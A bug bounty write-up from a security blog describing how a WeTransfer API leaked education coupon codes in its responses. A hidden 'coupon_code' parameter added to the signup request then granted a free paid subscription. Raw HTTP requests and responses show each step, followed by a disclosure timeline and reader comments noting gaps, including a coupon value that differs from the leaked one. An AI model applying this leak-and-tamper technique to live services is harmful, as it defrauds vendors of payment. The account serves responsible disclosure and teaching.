Security Breached Blog

One step at a time There's no need to rush It's like learning to fly!

How I was able to get subscription of $120/year For Free | Bug Bounty POC

About 2 Months ago a friend gave me his wetransfer.com account to send a 15GB file to a friend as he was using WeTransfer Plus subscription that he bought for $120/year i’ve decided to test WeTransfer for any possible vulnerability that can result of me bypassing their payment system or getting a Plus subscription for […]

About 2 Months ago a friend gave me his wetransfer.com account to send a 15GB file to a friend as he was using WeTransfer Plus subscription that he bought for $120/year

i’ve decided to test WeTransfer for any possible vulnerability that can result of me bypassing their payment system or getting a Plus subscription for completely free

well for this i first tried changing amount in HTTP request etc but no such method worked for me so i google “wetransfer plus free” Just to see if there is any promo going on that i can use or can misuse to get access to WeTransfer Plus for free

i saw that they are giving free 1 year Plus subscription to Students if they signup for account using their Educational institutes Email (with .edu domain)

So now when we put an email with .edu domain it says

As my institute don’t provide us with any student email si it means that i can’t get the Link to free account, But then i checked how the email is sent to user and what it might have in it….

so i used a fake .edu email i.e: [email protected] and clicked send request the HTTP request sent was like

““`
POST /api/ui/education/coupons HTTP/1.1
Host: wetransfer.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Referer: https://wetransfer.com/
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 37
Cookie: <YOUR-COOKIES>
Connection: close

{“email”:”[email protected]”}
““`

Nothing special in this POST request But when i check the response for this POST request it was a bit suspicious

““`
HTTP/1.1 200 OK
Date: Sat, 24 Mar 2018 10:34:02 GMT
Content-Type: application/json
Content-Length: 28
Connection: close
X-Compatibility-Version: 5
Set-Cookie: <Your-Cookies>
X-Content-Type-Options: nosniff
Vary: Accept-Encoding, Origin
ETag:
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id:
X-Opaque:
X-Runtime: 0.089711
Strict-Transport-Security: max-age=15552000; includeSubDomains;

{
“code”: “9e0bca0a6d92”
}
““`

The response contains a Code like “9e0bca0a6d92“, This Code should be according to the upper mention line on the page “we’ll send you a link to claim your free Plus account.” should be sent to the email with a link but instead HTTP response leaks the code that was generated by API for that particular .edu email

Now The next issue was how to use that code or How can i validate that code if it works or not as No signup page or no setting area contain a field to add a coupon code.

after a bit checking i found a way to use that coupon and it was pretty simple go to https://wetransfer.com/plus and select “Annual subscription” that cost “120 USD

and Fill in your details. then i Simply intercept the request and the request Going was be similar to

““`
POST /api/ui/users HTTP/1.1
Host: wetransfer.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Referer: https://wetransfer.com/
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 485
Cookie: <Cookies>
Connection: close

{“billing”:”yearly”,”full_name”:”Khizer Javed”,”email”:”[email protected]”,”password”:”hahahaha@@##$_$##@@hahahaha”,”password_confirm”:”hahahaha@@##$_$##@@hahahaha”,”company_name”:”TestAccount-Res”,”street_and_number”:”Test address 10133″,”city”:”Islamabad”,”zipcode”:”44800″,”country_code”:”PK”,”vat_number”:””,”terms_of_service”:true,”convert”:””,”sig”:””,”trk”:”WT201610_HalfPanel_GotPlusClick”,”wt_sent”:0,”wt_from”:””,”page_version”:30,”language”:”en”}
““`

i simply edit the POST request and added “coupon_code”:”5a9fa8cc51c3″

““`
{“billing”:”yearly”,”full_name”:”Khizer Javed”,”email”:”[email protected]”,”password”:”hahahaha@@##$_$##@@hahahaha”,”password_confirm”:”hahahaha@@##$_$##@@hahahaha”,”company_name”:”TestAccount-Res”,”street_and_number”:”Test address 10133″,”city”:”Islamabad”,”zipcode”:”44800″,”country_code”:”PK”,”vat_number”:””,”terms_of_service”:true,”coupon_code”:”5a9fa8cc51c3″,”convert”:””,”sig”:””,”trk”:”WT201610_HalfPanel_GotPlusClick”,”wt_sent”:0,”wt_from”:””,”page_version”:30,”language”:”en”}
““`

And Forwarded the request The Response for this request now was

““`
HTTP/1.1 201 Created
Date: Sat, 24 Mar 2018 10:26:29 GMT
Content-Type: application/json
Content-Length: 692
Connection: close
X-Compatibility-Version: 5
X-Content-Type-Options: nosniff
Vary: Accept-Encoding, Origin
ETag:
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id:
X-Opaque:
X-Runtime: 0.449633
Strict-Transport-Security: max-age=15552000; includeSubDomains;

{
“user”: {
“active_subscription”: false,
“subscription_expires_at”: null,
“autorenewal_enabled”: false,
“autorenewal_failed”: false,
“manual_payment_option_available”: true,
“profile_picture_url”: null,
“profile_picture_thumbnail_url”: null,
“subdomain_name”: null,
“language”: “en”,
“transfer_default_expiry”: 2592000,
“full_name”: “Khizer Javed”,
“storage_full”: false,
“id”: 1431584,
“email”: “[email protected]
},
“order_completed”: {
“successful”: true,
“renewal”: false,
“duration”: “year”,
“free”: true
},
“redirect_to_url”: “http://wetransfer.com/payment/completed?duration=year”
}
““`

Disclosure Timeline:

Reported: 24/3/2018
First response: 25/3/2018
Patched: 16/5/2018
Bounty: €500 Paid via @Zerocpter

If You want to report an issue to @wetransfer Contact them via

https://wetransfer.com/legal/disclosure

8 Comments

    1. It was Me Who missed writing a Part will update it 🙂 Basically in setting>Payment Update option i saw that perimeter and tried adding it to Signup and It worked perfectly

      1. You still haven’t updated the page to reflect how you found the parameter name, and you dont explain the jump between the first code and the second code

        1. hey yeh so i didn’t see that necessary all as talked to many about it but for you once again “if you go to settings subscription and saw the perimeters you can see the hidden perimeter and yeh that was all add it to create account instead of settings” Hope that explains for you?

      1. But,what’s the process of generating 5a9fa8cc51c3? Is 5a9fa8cc51c3 in the HTTP response message or it’s just your fake code?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.